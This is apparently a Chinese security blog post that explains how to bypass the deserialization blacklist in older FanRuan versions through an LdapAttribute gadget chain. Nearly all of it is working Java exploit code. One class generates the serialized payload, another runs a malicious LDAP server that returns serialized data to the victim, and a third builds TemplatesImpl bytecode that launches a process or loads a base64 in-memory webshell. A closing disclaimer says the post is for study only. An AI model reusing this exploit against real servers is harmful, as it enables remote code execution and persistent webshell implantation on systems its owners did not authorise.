帆软反序列化黑名单绕过tips

使用LdapAttribute绕过帆软黑名单

最新的11版本已经有关于LdapAttribute的黑名单了,本文给出的是根据黑名单构造的以前版本绕过

这里使用cc4的TreeBag替换BadAttributeValueExpException构造LdapAttribute利用链,参考:
二次反序列化POC构造 - https://mp.weixin.qq.com/s/UhlFXtRW4Ko38U8jP0Z99Q

POC生成类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
package main;

import com.fr.third.fasterxml.jackson.databind.node.POJONode;
import com.fr.third.org.apache.commons.collections4.bag.TreeBag;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import util.LdapServer;
import javax.naming.CompositeName;
import javax.naming.directory.BasicAttribute;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.zip.GZIPOutputStream;

/**
* @Author:novy
* @Date:12:06 2023/9/18
* @Version 1.0
**/

@SuppressWarnings("all")
public class LdapAttrbuteAttck {

private static void modifyTreeMapKey(Object node, String targetKey, Object newKey)
throws NoSuchFieldException, IllegalAccessException {
if (node == null) {
return;
}

// 获取节点的左子节点、右子节点和键
Field leftField = node.getClass().getDeclaredField("left");
Field rightField = node.getClass().getDeclaredField("right");
Field keyField = node.getClass().getDeclaredField("key");

leftField.setAccessible(true);
rightField.setAccessible(true);
keyField.setAccessible(true);

Object leftNode = leftField.get(node);
Object rightNode = rightField.get(node);
String key = (String) keyField.get(node);

// 如果找到目标键,将其修改为新键
if (targetKey.equals(key)) {
keyField.set(node, newKey);
}

// 递归遍历左子树和右子树
modifyTreeMapKey(leftNode, targetKey, newKey);
modifyTreeMapKey(rightNode, targetKey, newKey);
}

public static void setFieldValue(Object obj,String fieldName,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}

public static void main(String[] args) throws Exception {
//先到LdapServer启动ldap服务,更改getGadgetObj方法的ip后,再执行该方法生成poc
CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();

POJONode node = new POJONode(getGadgetObj());
ClassComparator classComparator = new ClassComparator("org.freehep.util.VersionComparator");
TreeBag treeBag = new TreeBag(classComparator);
treeBag.add("1");
Class clazz = treeBag.getClass();
Class abstractBagClass = clazz.getSuperclass();
Field mapField = abstractBagClass.getDeclaredField("map");
mapField.setAccessible(true);
TreeMap<Object,Integer> treeMap = (TreeMap<Object, Integer>) mapField.get(treeBag);
// 使用反射获取 TreeMap 的根节点
Field rootField = TreeMap.class.getDeclaredField("root");
rootField.setAccessible(true);
Object root = rootField.get(treeMap);
modifyTreeMapKey(root,"1",node);

FileOutputStream fileOutputStream = new FileOutputStream("frldap.ser");
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(fileOutputStream);
ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
oos.writeObject(treeBag);
oos.close();
System.out.println("Generated:frldap.ser");
}
public static BasicAttribute getGadgetObj(){
try{
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
clazz_cons.setAccessible(true);
BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"T"});
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
bcu_fi.setAccessible(true);
//改成启动ldap服务的ip
bcu_fi.set(la, "ldap://127.0.0.1:1389/");
CompositeName cn = new CompositeName();
cn.add("a");
cn.add("b");
Field rdn_fi = clazz.getDeclaredField("rdn");
rdn_fi.setAccessible(true);
rdn_fi.set(la, cn);
return la;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}


LDAP服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package util;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

/**
* @Author:novy
* @Date:12:05 2023/9/18
* @Version 1.0
**/

@SuppressWarnings("all")
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(String[] args) {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Ldap Server Start");
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}

//重写服务端连接上就发送响应数据
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();

Entry entry = new Entry(base);
entry.addAttribute("javaClassName", "T");
try {
//根据需求自定义getData()方法,可以使用给出的getTemplatePayload,或者改成内存马
entry.addAttribute("javaSerializedData", JacksonTemplatePayload.getData());
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
System.out.println("Send SerializedData");
System.out.println("Sent '" + base.toString() + "' to the LDAP service");
System.out.println("Detailed data: " + entry);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

服务端恶意数据操作类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
package util;

import com.fr.third.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import main.SignedObjectAttck;
import java.io.*;
import com.fr.third.org.apache.commons.collections4.bag.TreeBag;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.zip.GZIPOutputStream;

/**
* @Author:novy
* @Date:12:08 2023/9/18
* @Version 1.0
**/

public class JacksonTemplatePayload {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] getTemplatePayload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("T");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

static {

}

private static void modifyTreeMapKey(Object node, String targetKey, Object newKey)
throws NoSuchFieldException, IllegalAccessException {
if (node == null) {
return;
}

// 获取节点的左子节点、右子节点和键
Field leftField = node.getClass().getDeclaredField("left");
Field rightField = node.getClass().getDeclaredField("right");
Field keyField = node.getClass().getDeclaredField("key");

leftField.setAccessible(true);
rightField.setAccessible(true);
keyField.setAccessible(true);

Object leftNode = leftField.get(node);
Object rightNode = rightField.get(node);
String key = (String) keyField.get(node);

// 如果找到目标键,将其修改为新键
if (targetKey.equals(key)) {
keyField.set(node, newKey);
}

// 递归遍历左子树和右子树
modifyTreeMapKey(leftNode, targetKey, newKey);
modifyTreeMapKey(rightNode, targetKey, newKey);
}

public static byte[] getData() throws Exception {
CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
//Attck.evil是base64编码后的内存马
byte[] code = Base64.getDecoder().decode(Attck.evil);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "z3eyond");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
POJONode node = new POJONode(obj);
ClassComparator classComparator = new ClassComparator("org.freehep.util.VersionComparator");
TreeBag treeBag = new TreeBag(classComparator);
treeBag.add("1");
Class clazz = treeBag.getClass();
Class abstractBagClass = clazz.getSuperclass();
Field mapField = abstractBagClass.getDeclaredField("map");
mapField.setAccessible(true);
TreeMap<Object,Integer> treeMap = (TreeMap<Object, Integer>) mapField.get(treeBag);

// 使用反射获取 TreeMap 的根节点
Field rootField = TreeMap.class.getDeclaredField("root");
rootField.setAccessible(true);
Object root = rootField.get(treeMap);
modifyTreeMapKey(root,"1",node);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(treeBag);
return byteArrayOutputStream.toByteArray();
}

// public static void main(String[] args) throws Exception {
// System.out.println(Base64.getEncoder().encodeToString(getData()));
// }
}



声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.